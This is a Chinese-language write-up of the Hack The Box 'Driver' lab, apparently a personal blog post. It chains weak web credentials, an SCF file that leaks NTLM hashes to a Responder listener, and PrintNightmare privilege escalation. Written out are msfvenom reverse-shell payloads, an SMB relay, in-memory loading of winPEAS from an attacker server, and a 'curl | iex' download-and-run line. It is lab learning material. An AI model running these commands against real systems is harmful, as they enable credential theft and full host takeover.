HTB Driver

0x01 端口扫描

80web、135rpc、445smb、5985winrm(远程管理)


0x02 web

弱密码admin/admin登进后台,打印机固件更新中心

泄露了域信息:driver.htb,尝试host碰撞

暂时来看没什么收获

对唯一的功能点update测试:

“选择打印机型号并上传相应的固件更新到我们的文件共享。我们的测试团队将手动审查上传并很快启动测试”

0x03 smb

猜测和开放的445有关,用crackmapexec的ng版nxc(netexec)工具尝试枚举共享:

1
2
nxc smb driver.htb --shares -u FYHypo -p ''
#凭据任意,列出共享

加上smbclient连接的结果判断无权连接

可以再加一次enum4linux-ng枚举:

1
enum4linux-ng driver.htb

返回测试文件上传,但因目录爆破没有结果,暂时放弃

1
feroxbuster -u http://driver.htb -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -x php -H "Authorization: Basic YWRtaW46YWRtaW4="

0x04 scf攻击

回到页面的提示:

“选择打印机型号并上传相应的固件更新到我们的文件共享。我们的测试团队将手动审查上传并很快启动测试”

可以给smb在Web页面传文件,且管理者会检查,很容易想到scf攻击去钓鱼管理者

SMB 共享 – SCF 文件攻击 – 渗透测试实验室 — SMB Share – SCF File Attacks – Penetration Testing Lab (pentestlab.blog)

提取凭据

SCF(Shell 命令文件)文件可用于执行一组有限的操作,例如显示 Windows 桌面或打开 Windows 资源管理器,这并不新鲜。但是,SCF 文件可用于访问特定的 UNC (网络共享)路径,该文件将在用户打开该文件夹时自动执行。示例如下:

1
2
3
4
5
[Shell]
Command=2
IconFile=\\10.10.16.6\FYHypo
[Taskbar]
Command=Explorer

当用户浏览共享时,将自动从他的系统建立连接到 SCF 文件中包含的 UNC 路径。Windows 将尝试使用用户的用户名和密码对该共享进行身份验证。在该身份验证过程中,服务器会向客户端发送一个随机的 8 字节质询密钥,并且使用此质询密钥再次加密经过哈希处理的 NTLM/LANMAN 密码。响应程序将捕获 NTLMv2 哈希。

此时为了成为中间人我们需要responder起监听

1
responder -I tun0 -v

上传scf文件后,拦截到NTLMv2 hash:

由于该hash和时间戳有关,同一个用户的hash也是在变化的,随便拉一个出来破解即可:

拿到用户凭据tony@liltony,之后可以即可winrm登录

1
evil-winrm -i 10.129.95.238 -u tony -p liltony

gci递归找users中的flag:

1
2
gci -r -file c:\users
gc c:\users\tony\desktop\user.txt

附加命令执行

文章中还提到了利用msf进行中继攻击getshell的方式,尝试一下:

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.16.6 LPORT=4444 -f exe > fyhypo.exe

利用smbrelayx.py设置中继时执行的命令(触发反弹shell):

1
smbrelayx.py -h 10.129.95.238 -e ./fyhypo.exe
1
2
3
4
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 10.10.16.6
set lport 4444

当用户浏览共享时,SMB 服务器将接收连接,并使用用户名和密码哈希来验证其系统,并将有效负载执行到可写共享。

很奇怪为什么会是认证失败?凭证难道不是它提供的吗?

0x05 提权

优先检索web目录:

1
gci c:\ index.php -Recurse -EA SilentlyContinue

看过内容后没有发现,进入自动枚举阶段

传winpeas执行,保存到log,下载到本地用less查看:

1
2
3
4
cd :\programdata\app
upload winpeas-x64.exe
.\winpeas-x64.exe log
download out.txt
1
2
cat out.txt | less -R --mouse
#按q退出

补充:winpeas可以在内存中用反射实现不落地运行

1
2
3
4
#先调整执行策略
set-executionpolicy unrestricted -scope currentuser
#反射加载
$wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "http://10.10.16.2:8000/winpeas-x64.exe" -UseBasicParsing | Select-Object -ExpandProperty Content)); [winPEAS.Program]::Main("")


虽然本题可能由于winpeas太大无法直接加载进内存导致无法运行,但这种隐藏自己的思维要有

不过这个问题可以通过在cmd中强制使用64位powershell解决:

1
2
#先nc反弹个cmd的shell出来
C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe -Command "Invoke-WebRequest 'http://10.10.16.2:8000/winpeas-x64.exe' -OutFile 'winpeas-x64.exe'; ./winpeas-x64.exe --help"

优先关注到spoolsv服务,结合靶机名称很容易想到打spoolsv的打印机漏洞,如Spooler、PetitPotam、PrintNightmare,优先关注到最常见的PrintNightmare

使用nxc的printnightmare模块检查:

1
nxc smb driver.htb -u tony -p liltony -printnightmare

calebstewart/CVE-2021-1675: Pure PowerShell implementation of CVE-2021-1675 Print Spooler Local Privilege Escalation (PrintNightmare) (github.com)

两种利用模式,添加管理员用户或执行恶意dll(可以为msf反弹shell的payload)

1、添加管理员用户

得到的是administrator的shell

2、反弹shell

1
msfvenom -a x64 -p windows/x64/shell_reverse_tcp lport=9999 lhost=10.10.16.6 -f dll -o fyhypo.dll

得到的是system的shell

补充:也可以用github下载的本地python脚本进行攻击

另外,该过程也可由msf完成:

0x06 总结

导入ps1模块受阻

如果在尝试导入模块时,被执行策略阻止,如上图,则可以尝试使用curl+管道符解决:

1
2
curl 10.10.14.6/CVE-2021-1675.ps1 -UseBasicParsing | iex
#-UseBasicParsing将允许文件返回,即使 IE 引擎不可用

HTB Driver
https://fyhypo.github.io/blog/HTB/HTB Driver/
作者
FYHypo
发布于
2024年8月31日
许可协议